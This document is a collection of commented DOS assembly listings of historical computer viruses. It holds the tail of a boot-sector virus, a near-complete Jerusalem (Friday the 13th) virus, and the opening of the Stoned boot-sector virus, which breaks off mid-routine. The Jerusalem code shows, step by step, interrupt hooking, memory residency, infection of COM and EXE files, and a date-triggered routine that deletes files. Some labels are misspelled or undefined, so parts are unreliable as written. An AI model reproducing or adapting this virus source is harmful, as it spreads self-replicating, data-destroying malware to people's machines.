   INT   10H         ; VDU INTERRUPT
   POP   DX
   POP   CX
   POP   BX
   POP   AX
   POP   DS
   DB 0EAH        ; FAR JUMP TO ORIGINAL INT 8
   DW 0907H       ; ORG08O - ORIGINAL INT 8 OFFSET
   DW 10BDH       ; ORG08S - ORIGINAL INT 8 SEGMENT

   DW 0720H       ; CHARAT - CHARACTER AND ATTRIBUTES
   DW 1533H       ; ROWCOL - ROW AND COLUMN POSITIONS
   DW 01FFH       ; ROWCLM - ROW AND COLUMN MOVEMENT
   DB 0           ; GRAPHM - GRAPHICS MODE SWITCH
   DW 3           ; MODEAP - MODE AND ACTIVE PAGE
   DB 4FH         ; DW7FD6 - VISIBLE COLUMNS - 1


   DB 0B7H, 0B7H, 0B7H, 0B6H, 040H, 040H, 088H, 0DEH, 0E6H
   DB 05AH, 0ACH, 0D2H, 0E4H, 0EAH, 0E6H, 040H, 050H
   DB 0ECH, 040H, 064H, 05CH, 060H, 052H, 040H, 040H
   DB 040H, 040H, 064H, 062H, 05EH, 062H, 060H, 05EH
   DB 070H, 06EH, 040H, 041H, 0B7H, 0B7H, 0B7H, 0B6H

   ; END OF SECOND SECTOR, ORIGINAL BOOT SECTOR BEGINS HERE

CODE  ENDS

   END   START



***************************************************************************
---------------------------------------------------------------------------
---------------------------------------------------------------------------
***************************************************************************

The "Jerusalem" virus.
Also Called - Israeli, PLO, Friday the 13th - Version A


    PAGE 64,132
;-----------------------------------------------------------------------;
; THE "JERUSALEM" VIRUS                               ;
;-----------------------------------------------------------------------;
                        ;
    ORG  100H           ;
                        ;
;-----------------------------------------------------------------------;
; JERUSALEM VIRUS                                ;
;-----------------------------------------------------------------------;
BEGIN_COM:                   ;COM FILES START HERE
    JMP  CONTINUE       ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
A0103         DB      073H,055H

MS_DOS        DB   'MsDos'        ;

         DB   000H,001H,015H,018H

TIME_BOMB     DB   0         ;WHEN == 1 THIS FILE GETS DELETED!

         DB   000H
A0010         DB   000H

A0011         DW   100H      ;HOST SIZE (BEFORE INFECTION)

OLD_08        DW   0FEA5H,0F000H  ;OLD INT 08H VECTOR (CLOCK TIC)

OLD_21        DW   1460H,024EH    ;OLD INT 21H VECTOR
OLD_24        DW   0556H,16A5H    ;001B

A_FLAG        DW   7E48H          ;???

A0021         DB   000H,000H,000H,000H,000H,000H,000H
         DB   000H,000H,000H,000H

A002C         DW   0         ;A SEGMENT

         DB   000H,000H
A0030         DB   000H

A0031         DW   0178EH         ;OLD ES VALUE

A0033         DW   0080H          ;
                        ;
EXEC_BLOCK    DW   0         ;ENV. SEG. ADDRESS  ;0035
         DW   80H       ;COMMAND LINE ADDRESS
         DW   178EH          ;+4
         DW   005CH          ;FCB #1 ADDRESS
         DW   178EH          ;+8
         DW   006CH          ;FCB #2 ADDRESS
         DW   0178EH         ;+12
                        ;
HOST_SP       DW   0710H          ;(TAKEN FROM EXE HEADER) 0043
HOST_SS       DW   347AH          ;(AT TIME OF INFECTION)
HOST_IP       DW   00C5H          ;
HOST_CS       DW   347AH          ;
;CHECKSUM NOT STORED, TO UNINFECT, YOU MUST CALC IT YOURSELF
                        ;
A004B         DW   0F010H              ;
A004D         DB   82H            ;
A004E         DB   0              ;

EXE_HDR       DB   1CH DUP (?)         ;004F

A006B         DB   5 DUP (?)      ;LAST 5 BYTES OF HOST

HANDLE        DW   0005H               ;0070
HOST_ATT DW   0020H               ;0072
HOST_DATE     DW   0021H               ;0074
HOST_TIME     DW   002DH               ;0076

BLOCK_SIZE    DW   512            ;512 BYTES/BLOCK

A007A         DW   0010H

HOST_SIZE     DW   27C0H,0001H         ;007C
HOST_NAME     DW   41D9H,9B28H         ;POINTER TO HOST NAME

COMMAND_COM   DB   'COMMAND.COM'

         DB   1
A0090         DB   0,0,0,0,0

;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
CONTINUE:                    ;
    CLD                 ;
    MOV  AH,0E0H             ;DO A ???...
    INT  21H            ;
                        ;
    CMP  AH,0E0H             ;
    JNC  L01B5               ;
    CMP  AH,3           ;
    JC   L01B5               ;
                        ;
    MOV  AH,0DDH             ;
    MOV  DI,offset BEGIN_COM ;DI = BEGINNING OF OUR (VIRUS) CODE
    MOV  SI,0710H       ;SI = SIZE OF OUR (VIRUS) CODE
    ADD  SI,DI               ;SI = BEGINNING OF HOST CODE
    MOV  CX,CS:[DI+11H]      ;CX = (SIZE OF HOST CODE?)
    INT  21H            ;
                        ;
L01B5:   MOV  AX,CS               ;TWEEK CODE SEGMENT BY 100H
    ADD  AX,10H              ;
    MOV  SS,AX               ;SS = TWEEKed CS
    MOV  SP,700H             ;SP = END OF OUR CODE (VIRUS)
                        ;
;TWEEK CS TO MAKE IT LOOK LIKE IP STARTS AT 0, NOT 100H BY DOING A RETF
                        ;
    PUSH AX             ;JMP FAR CS+10H:IP-100H
    MOV  AX,offset BEGIN_EXE - offset BEGIN_COM
    PUSH AX             ;
    RETF                ;
                        ;
;---------------------------------------;
    ORG  0C5h           ;
;---------------------------------------;
                        ;
BEGIN_EXE:                   ;EXE FILES START HERE
    CLD                 ;
    PUSH ES             ;
                        ;
    MOV  CS:[A0031],ES       ;
    MOV  CS:[EXEC_BLOCK+4],ES     ;INIT EXEC_BLOCK SEG VALUES
    MOV  CS:[EXEC_BLOCK+8],ES     ;
    MOV  CS:[EXEC_BLOCK+12],ES    ;
                        ;
    MOV  AX,ES               ;TWEEK ES SAME AS CS ABOVE
    ADD  AX,10H              ;
    ADD  CS:[HOST_CS],AX          ;   SAVE NEW ES VALUE
    ADD  CS:[HOST_SS],AX          ;
                        ;
    MOV  AH,0E0H             ;
    INT  21H            ;
                        ;
    CMP  AH,0E0H             ;
    JNC  L0106               ;00F1     7313
                        ;
    CMP  AH,3           ;
    POP  ES             ;00F6
    MOV  SS,CS:[HOST_SS]          ;
    MOV  SP,CS:[HOST_SP]          ;
    JMP  far CS:[HSOT_IP]    ;
                        ;
L0106:   XOR  AX,AX               ;0106     33C0
    MOV  ES,AX               ;0108     8EC0
    MOV  AX,ES:[03FC]        ;010A     26A1FC03
    MOV  CS:[A004B],AX       ;010E     2EA34B00
    MOV  AL,ES:[03FE]        ;0112     26A0FE03
    MOV  CS:[A004D],AL       ;0116     2EA24D00
    MOV  Word ptr ES:[03FC],A5F3  ;011A     26C706FC03F3A5
    MOV  Byte ptr ES:[03FE],CB    ;0121     26C606FE03CB
    POP  AX             ;0127     58
    ADD  AX,10H              ;0128     051000
    MOV  ES,AX               ;012B     8EC0
    PUSH CS             ;012D     0E
    POP  DS             ;012E     1F
    MOV  CX,710H             ;SIZE OF VIRUS CODE
    SHR  CX,1           ;0132     D1E9
    XOR  SI,SI               ;0134     33F6
    MOV  DI,SI               ;0136     8BFE
    PUSH ES             ;0138     06
    MOV  AX,0142             ;0139     B84201
    PUSH AX             ;013C     50
    JMP  0000:03FC      ;013D     EAFC030000
                        ;
    MOV  AX,CS               ;0142     8CC8
    MOV  SS,AX               ;0144     8ED0
    MOV  SP,700H             ;0146     BC0007
    XOR  AX,AX               ;0149     33C0
    MOV  DS,AX               ;014B     8ED8
    MOV  AX,CS:[A004B]       ;014D     2EA14B00
    MOV  [03FC],AX      ;0151     A3FC03
    MOV  AL,CS:[A004D]       ;0154     2EA04D00
    MOV  [03FE],AL      ;0158     A2FE03
    MOV  BX,SP               ;015B     8BDC
    MOV  CL,04               ;015D     B104
    SHR  BX,CL               ;015F     D3EB
    ADD  BX,+10              ;0161     83C310
    MOV  CS:[A0033],BX       ;
                        ;
    MOV  AH,4AH              ;
    MOV  ES,CS:[A0031]       ;
    INT  21H            ;MODIFY ALLOCATED MEMORY BLOCKS
                        ;
    MOV  AX,3521             ;
    INT  21H            ;GET VECTOR
    MOV  CS:[OLD_21],BX      ;
    MOV  CS:[OLD_21+2],ES    ;
                        ;
    PUSH CS             ;0181     0E
    POP  DS             ;0182     1F
    MOV  DX,offset NEW_INT_21     ;0183     BA5B02
    MOV  AX,2521             ;
    INT  21H            ;SAVE VECTOR
                        ;
    MOV  ES,[A0031]          ;018B     8E063100
    MOV  ES,ES:[A002C]       ;018F     268E062C00
    XOR  DI,DI               ;0194     33FF
    MOV  CX,7FFFH       ;0196     B9FF7F
    XOR  AL,AL               ;0199     32C0
    REPNE     SCASB               ;019C     AE
    CMP  ES:[DI],AL          ;019D     263805
    LOOPNZ    019B           ;01A0     E0F9
    MOV  DX,DI               ;01A2     8BD7
    ADD  DX,+03              ;01A4     83C203
    MOV  AX,4B00H       ;LOAD AND EXECUTE A PROGRAM
    PUSH ES             ;
    POP  DS             ;
    PUSH CS             ;
    POP  ES             ;
    MOV  BX,35H              ;
                        ;
    PUSH DS        ;01B1     ;
    PUSH ES             ;
    PUSH AX             ;
    PUSH BX             ;
    PUSH CX             ;
    PUSH DX             ;
                        ;
    MOV  AH,2AH              ;
    INT  21H            ;GET DATE
                        ;
    MOV  Byte ptr CS:[TIME_BOMB],0 ;SET "DONT DIE"
                        ;
    CMP  CX,1987             ;IF 1987...
    JE   L01F7               ;...JUMP
    CMP  AL,5           ;IF NOT FRIDAY...
    JNE  L01D8               ;...JUMP
    CMP  DL,0DH              ;IF DATE IS NOT THE 13th...
    JNE  L01D8               ;...JUMP
    INC  Byte ptr CS:[TIME_BOMB]  ;TIC THE BOMB COUNT
    JMP  L01F7               ;
                        ;
L01D8:   MOV  AX,3508H       ;GET CLOCK TIMER VECTOR
    INT  21H            ;GET VECTOR
    MOV  CS:[OLD_08],BX      ;
    MOV  CS:[OLD_08],ES      ;
                        ;
    PUSH CS             ;DS=CS
    POP  DS             ;
                        ;
    MOV  Word ptr [A_FLAG],7E90H  ;
                        ;
    MOV  AX,2508H       ;SET NEW CLOCK TIC HANDLER
    MOV  DX,offset NEW_08    ;
    INT  21H            ;SET VECTOR
                        ;
L01F7:   POP  DX             ;
    POP  CX             ;
    POP  BX             ;
    POP  AX             ;
    POP  ES             ;
    POP  DS             ;
    PUSHF                    ;
    CALL far CS:[OLD_21]     ;
    PUSH DS             ;
    POP  ES             ;
                        ;
    MOV  AH,49H              ;
    INT  21H            ;FREE ALLOCATED MEMORY
                        ;
    MOV  AH,4DH              ;
    INT  21H            ;GET RETURN CODE OF A SUBPROCESS
                        ;
;---------------------------------------;
; THIS IS WHERE WE REMAIN RESIDENT     ;
;---------------------------------------;
    MOV  AH,31H              ;
    MOV  DX,0600H  ;020F     ;
    MOV  CL,04               ;
    SHR  DX,CL               ;
    ADD  DX,10H              ;
    INT  21H            ;TERMINATE AND REMAIN RESIDENT
                        ;
;---------------------------------------;
NEW_24:  XOR  AL,AL          ;021B     ;CRITICAL ERROR HANDLER
    IRET                ;
                        ;
;-----------------------------------------------------------------------;
; NEW INTERRUPT 08 (CLOCK TIC) HANDLER                     ;
;-----------------------------------------------------------------------;
NEW_08:  CMP  Word ptr CS:[A_FLAG],2   ;021E
    JNE  N08_10              ;IF ... JUMP
                        ;
    PUSH AX             ;
    PUSH BX             ;
    PUSH CX             ;
    PUSH DX             ;
    PUSH BP             ;
    MOV  AX,0602H       ;SCROLL UP TWO LINES
    MOV  BH,87H              ;INVERSE VIDEO ATTRIBUTE
    MOV  CX,0505H       ;UPPER LEFT CORNER
    MOV  DX,1010H       ;LOWER RIGHT CORNER
    INT  10H            ;
    POP  BP             ;
    POP  DX             ;
    POP  CX             ;
    POP  BX             ;
    POP  AX             ;
                        ;
N08_10:  DEC  Word ptr CS:[A_FLAG]     ;
    JMP  N08_90              ;  
    MOV  Word ptr CS:[A_FLAG],1   ;
                        ;
    PUSH AX             ;
    PUSH CX             ;
    PUSH SI             ;  THIS DELAY CODE NEVER GETS EXECUTED  
    MOV  CX,4001H       ;  IN THIS VERSION
    REP  LODSB          ; 
    POP  SI             ;
    POP  CX             ;
    POP  AX             ;
                        ;
N08_90:  JMP  far CS:[OLD_08]          ;PASS CONTROL TO OLD INT 08 VECTOR
                        ;
;-----------------------------------------------------------------------;
; NEW INTERRUPT 21 HANDLER                            ;
;-----------------------------------------------------------------------;
NEW_21:  PUSHF               ;025B     ;
    CMP  AH,0E0H             ;IF A E0 REQUEST...
    JNE  N21_10              ;
    MOV  AX,300H             ;...RETURN AX = 300H
    POPF                ;   (OUR PUSHF)
    IRET                ;
                        ;
N21_10:  CMP  AH,0DDH        ;0266     ;
    JE   N21_30              ;IF DDH...JUMP TO _30
    CMP  AH,0DEH             ;
    JE   N21_40              ;IF DEH...JUMP TO _40
    CMP  AX,4B00H       ;IF SPAWN A PROG...
    JNE  N21_20              ;
    JMP  N21_50              ;...JUMP TO _50
                        ;
N21_20:  POPF                ;   (OUR PUSHF)
    JMP  far CS:[OLD_21]          ;ANY OTHER INT 21 GOES TO OLD VECTOR
                        ;
N21_30:  POP  AX             ;REMOVE OUR (PUSHF)
    POP  AX             ;?
    MOV  AX,100H             ;
    MOV  CS:[000A],AX        ;
    POP  AX             ;
    MOV  CS:[000C],AX        ;
    REP  MOVSB               ;
    POPF                ;   (OUR PUSHF)
    MOV  AX,CS:[000F]        ;
    JMP  far CS:[000A]       ;
                        ;
N21_40:  ADD  SP,+06         ;0298     ;
    POPF                ;   (OUR PUSHF)
    MOV  AX,CS               ;
    MOV  SS,AX               ;
    MOV  SP,710H             ;SIZE OF VIRUS CODE
    PUSH ES             ;
    PUSH ES             ;02A4     06
    XOR  DI,DI               ;02A5     33FF
    PUSH CS             ;02A7     0E
    POP  ES             ;02A8     07
    MOV  CX,0010             ;02A9     B91000
    MOV  SI,BX               ;02AC     8BF3
    MOV  DI,0021             ;02AE     BF2100
    REP  MOVSB               ;02B2     A4
    MOV  AX,DS               ;02B3     8CD8
    MOV  ES,AX               ;02B5     8EC0
    MUL  Word ptr CS:[A007A] ;02B7     2EF7267A00
    ADD  AX,CS:[002B]        ;02BC     2E03062B00
    ADC  DX,+00              ;02C1     83D200
    DIV  Word ptr CS:[A007A] ;02C4     2EF7367A00
    MOV  DS,AX               ;02C9     8ED8
    MOV  SI,DX               ;02CB     8BF2
    MOV  DI,DX               ;02CD     8BFA
    MOV  BP,ES               ;02CF     8CC5
    MOV  BX,CS:[002F]        ;02D1     2E8B1E2F00
    OR   BX,BX               ;02D6     0BDB
    JE   02ED           ;02D8     7413
    MOV  CX,8000             ;02DA     B90080
    REP  MOVSW               ;02DE     A5
    ADD  AX,1000             ;02DF     050010
    ADD  BP,1000             ;02E2     81C50010
    MOV  DS,AX               ;02E6     8ED8
    MOV  ES,BP               ;02E8     8EC5
    DEC  BX             ;02EA     4B
    JNE  02DA           ;02EB     75ED
    MOV  CX,CS:[002D]        ;02ED     2E8B0E2D00
    REP  MOVSB               ;02F3     A4
    POP  AX             ;02F4     58
    PUSH AX             ;02F5     50
    ADD  AX,0010             ;02F6     051000
    ADD  CS:[0029],AX        ;02F9     2E01062900
    ADD  CS:[0025],AX        ;02FE     2E01062500
    MOV  AX,CS:[0021]        ;0303     2EA12100
    POP  DS             ;0307     1F
    POP  ES             ;0308     07
    MOV  SS,CS:[0029]        ;0309     2E8E162900
    MOV  SP,CS:[0027]        ;030E     2E8B262700
    JMP  far CS:[0023]       ;0313     2EFF2E2300
                        ;
;---------------------------------------;
; IT IS TIME FOR THIS FILE TO DIE...   ;
; THIS IS WHERE IT GETS DELETED ! ;
;---------------------------------------;
N21_5A:  XOR  CX,CX               ;
    MOV  AX,4301H       ;
    INT  21H            ;CHANGE FILE MODE (ATT=0)
                        ;
    MOV  AH,41H              ;
    INT  21H            ;DELETE A FILE
                        ;
    MOV  AX,4B00H       ;LOAD AND EXECUTE A PROGRAM
    POPF                ;   (OUR PUSHF)
    JMP  far CS:[OLD_21]          ;
                        ;
;---------------------------------------;
; START INFECTION            ;
;---------------------------------------;
N21_50:  CMP  Byte ptr CS:[TIME_BOMB],1 ;032C ;IF TIME TO DIE...
    JE   N21_5A              ;...JUMP
                        ;
    MOV  Word ptr CS:[HANDLE],-1  ;ASSUME NOT OPEN
    MOV  Word ptr CS:[A008F],0    ;
    MOV  word ptr CS:[HOST_NAME],DX   ;SAVE POINTER TO FILE NAME
    MOV  word ptr CS:[HOST_NAME+2],DS ;
                        ;
;INFECTION PROCESS OCCURS HERE    ;
    PUSH AX             ;034C     50
    PUSH BX             ;034D     53
    PUSH CX             ;034E     51
    PUSH DX             ;034F     52
    PUSH SI             ;0350     56
    PUSH DI             ;0351     57
    PUSH DS             ;0352     1E
    PUSH ES             ;0353     06
    CLD                 ;0354     FC
    MOV  DI,DX               ;0355     8BFA
    XOR  DL,DL               ;0357     32D2
    CMP  Byte ptr [DI+01],3A ;0359     807D013A
    JNE  L0364               ;035D     7505
    MOV  DL,[DI]             ;035F     8A15
    AND  DL,1F               ;0361     80E21F
                        ;
L0364:   MOV  AH,36               ;
    INT  21H            ;GET DISK FREE SPACE
    CMP  AX,-1               ;0368     3DFFFF
    JNE  L0370               ;036B     7503
L036D:   JMP  I_90           ;036D     E97702
                        ;
L0370:   MUL  BX             ;0370     F7E3
    MUL  CX             ;0372     F7E1
    OR   DX,DX               ;0374     0BD2
    JNE  L037D               ;0376     7505
    CMP  AX,710H             ;0378     3D1007
    JC   L036D               ;037B     72F0
L037D:   MOV  DX,word ptr CS:[HOST_NAME]
    PUSH DS             ;0382     1E
    POP  ES             ;0383     07
    XOR  AL,AL               ;0384     32C0
    MOV  CX,41               ;0386     B94100
    REPNE     SCASB               ;038A     AE
    MOV  SI,word ptr CS:[HOST_NAME]
L0390:   MOV  AL,[SI]             ;0390     8A04
    OR   AL,AL               ;0392     0AC0
    JE   L03A4               ;0394     740E
    CMP  AL,61               ;0396     3C61
    JC   L03A1               ;0398     7207
    CMP  AL,7A               ;039A     3C7A
    JA   L03A1               ;039C     7703
    SUB  Byte ptr [SI],20    ;039E     802C20
L03A1:   INC  SI             ;03A1     46
    JMP  L0390               ;03A2     EBEC
                        ;
L03A4:   MOV  CX,000B             ;03A4     B90B00
    SUB  SI,CX               ;03A7     2BF1
    MOV  DI,offset COMMAND_COM    ;03A9     BF8400
    PUSH CS             ;03AC     0E
    POP  ES             ;03AD     07
    MOV  CX,000B             ;03AE     B90B00
    REPE CMPSB               ;03B2     A6
    JNE  L03B8               ;03B3     7503
    JMP  I_90           ;03B5     E92F02
                        ;
L03B8:   MOV  AX,4300H       ;
    INT  21H            ;CHANGE FILE MODE
    JC   L03C4               ;03BD     7205
                        ;
    MOV  CS:[HOST_ATT],CX    ;03BF     ;
L03C4:   JC   L03EB               ;03C4     7225
    XOR  AL,AL               ;03C6     32C0
    MOV  CS:[A004E],AL       ;03C8     2EA24E00
    PUSH DS             ;03CC     1E
    POP  ES             ;03CD     07
    MOV  DI,DX               ;03CE     8BFA
    MOV  CX,41               ;03D0     B94100
    REPNZ     SCASB               ;03D4     AE
    CMP  Byte ptr [DI-02],4D ;03D5     807DFE4D
    JE   L03E6               ;03D9     740B
    CMP  Byte ptr [DI-02],6D ;03DB     807DFE6D
    JE   L03E6               ;03DF     7405
    INC  Byte ptr CS:[A004E] ;03E1     2EFE064E00
                        ;
L03E6:   MOV  AX,3D00H       ;
    INT  21H            ;OPEN FILE READ ONLY
L03EB:   JC   L0447               ;
    MOV  CS:[HANDLE],AX ;03ED     ;
                        ;
    MOV  BX,AX               ;MOVE TO END OF FILE -5
    MOV  AX,4202             ;
    MOV  CX,-1               ;FFFFFFFB
    MOV  DX,-5               ;
    INT  21H            ;MOVE FILE POINTER
    JC   L03EB               ;
                        ;
    ADD  AX,5      ;0400     ;
    MOV  CS:[A0011],AX       ;?SAVE HOST SIZE
                        ;
    MOV  CX,5      ;0407     ;READ LAST 5 BYTES OF HOST
    MOV  DX,offset A006B          ;
    MOV  AX,CS               ;
    MOV  DS,AX               ;
    MOV  ES,AX               ;
    MOV  AH,3FH              ;
    INT  21H            ;READ FROM A FILE
                        ;
    MOV  DI,DX          ;0417     ;CHECK IF LAST 5 BYTES = 'MsDos'
    MOV  SI,offset MS_DOS    ;
    REPE CMPSB               ;
    JNE  L0427               ;
    MOV  AH,3E               ;IF == 'MsDos'...
    INT  21H            ;CLOSE FILE
    JMP  I_90           ;...PASS CONTROL TO DOS
                        ;
L0427:   MOV  AX,3524             ;GET CRITICAL ERROR VECTOR
    INT  21H            ;GET VECTOR
    MOV  [OLD_24],BX         ;
    MOV  [OLD_24+2],ES       ;
                        ;
    MOV  DX,offset NEW_24    ;
    MOV  AX,2524             ;SET CRITICAL ERROR VECTOR
    INT  21H            ;SET VECTOR
                        ;
    LDS  DX,dword ptr [HOST_NAME];
    XOR  CX,CX               ;
    MOV  AX,4301H       ;
    INT  21H            ;CHANGE FILE MODE
L0447:   JC   L0484               ;
                        ;
    MOV  BX,CS:[HANDLE]      ;
    MOV  AH,3E               ;
    INT  21H            ;CLOSE FILE
                        ;
    MOV  Word ptr CS:[HANDLE],-1  ;CLEAR HANDLE
                        ;
    MOV  AX,3D02             ;
    INT  21H            ;OPEN FILE R/W
    JC   L0484               ;
                        ;
    MOV  CS:[HANDLE],AX      ;0460     2EA37000
    MOV  AX,CS               ;0464     8CC8
    MOV  DS,AX               ;0466     8ED8
    MOV  ES,AX               ;0468     8EC0
    MOV  BX,[HANDLE]         ;046A     8B1E7000
    MOV  AX,5700             ;046E     B80057
    INT  21H            ;GET/SET FILE DATE TIME
                        ;
    MOV  [HOST_DATE],DX      ;0473     89167400
    MOV  [HOST_TIME],CX      ;0477     890E7600
    MOV  AX,4200             ;047B     B80042
    XOR  CX,CX               ;047E     33C9
    MOV  DX,CX               ;0480     8BD1
    INT  21H            ;MOVE FILE POINTER
L0484:   JC   L04C3               ;0484     723D
                        ;
    CMP  Byte ptr [A004E],00 ;0486     803E4E0000
    JE   L0490               ;048B     7403
    JMP  L04E6               ;048D     EB57
                        ;
    NOP                 ;048F     90
L0490:   MOV  BX,1000             ;0490     BB0010
    MOV  AH,48               ;0493     B448
    INT  21H            ;ALLOCATE MEMORY
    JNC  L04A4               ;0497     730B
                        ;
    MOV  AH,3E               ;0499     B43E
    MOV  BX,[HANDLE]         ;049B     8B1E7000
    INT  21H            ;CLOSE FILE (OBVIOUSLY)
    JMP  I_90           ;04A1     E94301
                        ;
L04A4:   INC  Word ptr [A008F]    ;04A4     FF068F00
    MOV  ES,AX               ;04A8     8EC0
    XOR  SI,SI               ;04AA     33F6
    MOV  DI,SI               ;04AC     8BFE
    MOV  CX,710H             ;04AE     B91007
    REP  MOVSB               ;04B2     A4
    MOV  DX,DI               ;04B3     8BD7
    MOV  CX,[A0011]          ;?GET HOST SIZE - YES
    MOV  BX,[70H]       ;04B9     8B1E7000
    PUSH ES             ;04BD     06
    POP  DS             ;04BE     1F
    MOV  AH,3FH              ;04BF     B43F
    INT  21H            ;READ FROM A FILE
L04C3:   JC   L04E1               ;04C3     721C
                        ;
    ADD  DI,CX               ;04C5     03F9
                        ;
    XOR  CX,CX               ;POINT TO BEGINNING OF FILE
    MOV  DX,CX               ;
    MOV  AX,4200H       ;
    INT  21H            ;MOVE FILE POINTER
                        ;
    MOV  SI,offset MS_DOS    ;04D0     BE0500
    MOV  CX,5           ;04D3     B90500
    REP  CS:MOVSB       ;04D7     2EA4
    MOV  CX,DI               ;04D9     8BCF
    XOR  DX,DX               ;04DB     33D2
    MOV  AH,40H              ;
    INT  21H            ;WRITE TO A FILE
L04E1:   JC   L04F0               ;
    JMP  L05A2               ;
                        ;
;---------------------------------------;
; READ EXE HEADER            ;
;---------------------------------------;
L04E6:   MOV  CX,1CH              ;READ EXE HEADER INTO BUFFER
    MOV  DX,offset EXE_HDR   ;
    MOV  AH,3F               ;
    INT  21H            ;READ FILE
    JC   L053C               ;
                        ;
;---------------------------------------;
; TWEEK EXE HEADER TO INFECTED HSOT    ;
;---------------------------------------;
    MOV  Word ptr [EXE_HDR+18],1984H ;SAVE HOST'S EXE HEADER INFO
    MOV  AX,[EXE_HDR+14]          ;   SS
    MOV  [HOST_SS],AX        ;
    MOV  AX,[EXE_HDR+16]          ;   SP
    MOV  [HOST_SP],AX        ;
    MOV  AX,[EXE_HDR+20]          ;   IP
    MOV  [HOST_IP],AX        ;
    MOV  AX,[EXE_HDR+22]          ;   CS
    MOV  [HOST_CS],AX        ;
    MOV  AX,[EXE_HDR+4]      ;   SIZE (IN 512 BLOCKS)
    CMP  Word ptr [EXE_HDR+2],0   ;   SIZE MOD 512
    JZ   L051B               ;IF FILE SIZE==0...JMP
    DEC  AX             ;
L051B:   MUL  Word ptr [BLOCK_SIZE]    ;
    ADD  AX,[EXE_HDR+2]      ;
    ADC  DX,0           ;AX NOW = FILE SIZE
                        ;
    ADD  AX,0FH              ;MAKE SURE FILE SIZE IS PARA. BOUND
    ADC  DX,0           ;
    AND  AX,0FFF0H      ;
    MOV  [HOST_SIZE],AX      ;SAVE POINTER TO BEGINNING OF VIRUS
    MOV  [HOST_SIZE+2],DX    ;
                        ;
    ADD  AX,710H             ;(SIZE OF VIRUS)
    ADC  DX,0           ;
L053C:   JC   L0578               ;IF > FFFFFFFF...JMP
    DIV  Word ptr [BLOCK_SIZE]    ;
    OR   DX,DX               ;
    JE   L0547               ;
    INC  AX             ;
L0547:   MOV  [EXE_HDR+4],AX      ;
    MOV  [EXE_HDR+2],DX      ;
                        ;---------------;
    MOV  AX,[HOST_SIZE]                ;DX:AX = HOST SIZE
    MOV  DX,[HOST_SIZE+2]              ;
    DIV  Word ptr [A007A]              ;
    SUB  AX,[EXE_HEAD+8]                    ;SIZE OF EXE HDR
    MOV  [EXE_HDR+22],AX                    ;VALUE OF CS
    MOV  Word ptr [EXE_HDR+20],offset BEGIN_EXE  ;VALUE OF IP
    MOV  [EXE_HDR+14],AX                    ;VALUE OF SS
    MOV  Word ptr [EXE_HDR+16],710H         ;VALUE OF SP
                        ;---------------;
    XOR  CX,CX               ;POINT TO BEGINNING OF FILE (EXE HDR)
    MOV  DX,CX               ;
    MOV  AX,4200H       ;
    INT  21H            ;MOVE FILE POINTER
L0578:   JC   L0584               ;
                        ;
;---------------------------------------;
; WRITE INFECTED EXE HEADER       ;
;---------------------------------------;
    MOV  CX,1CH              ;
    MOV  DX,offset EXE_HDR   ;
    MOV  AH,40H              ;
    INT  21H            ;WRITE TO A FILE
L0584:   JC   L0597               ;
    CMP  AX,CX               ;
    JNE  L05A2               ;
                        ;
    MOV  DX,[HOST_SIZE]      ;POINT TO END OF FILE
    MOV  CX,[HOST_SIZE+2]    ;
    MOV  AX,4200             ;
    INT  21H            ;MOVE FILE POINTER
L0597:   JC   L05A2               ;
                        ;
;---------------------------------------;
; WRITE VIRUS CODE TO END OF HOST ;
;---------------------------------------;
    XOR  DX,DX               ;
    MOV  CX,710H             ;(SIZE OF VIRUS)
    MOV  AH,40H              ;
    INT  21H            ;WRITE TO A FILE
                        ;
L05A2:   CMP  Word ptr CS:[008F],0     ;IF...
    JZ   L05AE               ;...SKIP
    MOV  AH,49H              ;
    INT  21H            ;FREE ALLOCATED MEMORY
                        ;
L05AE:   CMP  Word ptr CS:[HANDLE],-1  ;IF ...
    JE   I_90           ;...SKIP
                        ;
    MOV  BX,CS:[HANDLE]      ;RESTORE HOST'S DATE/TIME
    MOV  DX,CS:[HOST_DATE]   ;
    MOV  CX,CS:[HOST_TIME]   ;
    MOV  AX,5701H       ;
    INT  21H            ;GET/SET FILE DATE/TIME
                        ;
    MOV  AH,3EH              ;
    INT  21H            ;CLOSE FILE
                        ;
    LDS  DX,CS:[HOST_NAME]   ;RESTORE HOST'S ATTRIBUTE
    MOV  CX,CS:[HOST_ATT]    ;
    MOV  AX,4301H       ;
    INT  21H            ;CHANGE FILE MODE
                        ;
    LDS  DX,dword ptr CS:[OLD_24];RESTORE CRITICAL ERROR HANDLER
    MOV  AX,2524H       ;
    INT  21H            ;SET VECTOR
                        ;
I_90:    POP  ES             ;
    POP  DS             ;
    POP  DI             ;
    POP  SI             ;
    POP  DX             ;
    POP  CX             ;
    POP  BX             ;
    POP  AX             ;
    POPF                ;   (OUR PUSHF)
    JMP  far CS:[OLD_21]          ;PASS CONTROL TO DOS
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------

************************************************************************
------------------------------------------------------------------------
------------------------------------------------------------------------
************************************************************************

The "New Zealand Virus".
Also called - Stoned, Marijuana, San Diego Virus, Smithsonian Virus


CODE  SEGMENT

   ASSUME   CS:CODE

WORK_SPACE         EQU   512
MAXIMUM_SIZE   EQU   1BEH

VIRUS PROC  NEAR

               DB    0EAH     ;JMP   07C0:0005
               DW    5,7C0H
               JMP   INSTALL

;  DRIVE_LETTER INDICATES BOOT DISK,  0 = A:, 2 = C:

DRIVE_LETTER        DB   0

OLD_13  LABEL DWORD
OFFS           DW   ?
SEGM           DW   ?

NEW_ADDRESS LABEL DWORD
               DW   CONTINUE
NEW_SEGMENT DW   0

REBOOT    LABEL DWORD
               DW   7C00H,0

NEW_13:
   PUSH  DS
   PUSH  AX
   CMP   AH,2             
   JC    SPINNING         
   CMP   AH,4
   JNC   SPINNING         
   OR    DL,DL             ; IS IT DRIVE A:?
   JNZ   SPINNING          ; JUMP IF NOT
   XOR   AX,AX
   MOV   DS,AX             
   MOV   AL,DS:43FH        ; IS DRIVE MOTOR SPINNING?
   TEST  AL,1              ; IF YES THEN JUMP
   JNZ   SPINNING
               

; INT13 REQUEST IS FOR READ OR WRITE TO A: - MOTOR NOT YET STARTED.

   CALL  INFECT            ; NOT SPINNING - INFECT
SPINNING:
   POP   AX
   POP   DS
   JMP   CS:[OLD_13]     

INFECT:
   PUSH  BX                ; SAVE REGISTERS
   PUSH  CX
   PUSH  DX
   PUSH  ES
   PUSH  SI
   PUSH  DI
   MOV   SI,4              ; MAKE FOUR ATTEMPTS
GET_BOOT_SECTOR:
